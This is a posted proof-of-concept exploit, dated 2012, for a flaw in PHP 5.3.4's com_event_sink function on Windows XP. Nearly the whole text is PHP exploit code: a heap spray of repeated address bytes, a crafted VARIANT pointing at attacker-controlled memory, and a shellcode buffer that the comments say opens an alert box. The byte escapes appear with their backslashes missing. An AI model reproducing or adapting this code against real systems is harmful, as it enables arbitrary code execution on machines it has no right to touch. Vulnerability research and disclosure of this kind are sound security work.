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PHP 5.3.4 com_event_sink 0-Day

Posted on 10 October 2012

<?php
 //PHP 5.3.4

 //
//$eip ="x44x43x42x41";
$eip= "x4bxe8x57x78";
$eax ="x80x01x8dx04";
$deodrant="";
$axespray = str_repeat($eip.$eax,0x80);

//048d0190
echo strlen($axespray);
echo "PHP 5.3.4 WIN Com Module COM_SINK 0-day
" ;
echo "By Rahul Sasi : http://twitter.com/fb1h2s
" ;
echo "Exploit Tested on:
 Microsoft XP Pro 2002 SP2 
" ;
echo "More Details Here:
 http://www.garage4hackers.com/blogs/8/web-app-remote-code-execution-via-scripting-engines-part-1-local-exploits-php-0-day-394/
" ;

//19200 ==4B32 4b00
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++)
{
 $deodrant.=$axespray;
}

$terminate = "T";

$u[] =$deodrant;

$r[] =$deodrant.$terminate;
$a[] =$deodrant.$terminate;
$s[] =$deodrant.$terminate;

//$vVar = new VARIANT(0x048d0038+$offset); // This is what we controll
$vVar = new VARIANT(0x048d0000+180);
//alert box Shellcode
$buffer = "x90x90x90".
 "xB9x38xDDx82x7Cx33xC0xBB".
 "xD8x0Ax86x7Cx51x50xFFxd3";

$var2 = new VARIANT(0x41414242);

com_event_sink($vVar,$var2,$buffer);

?>

 

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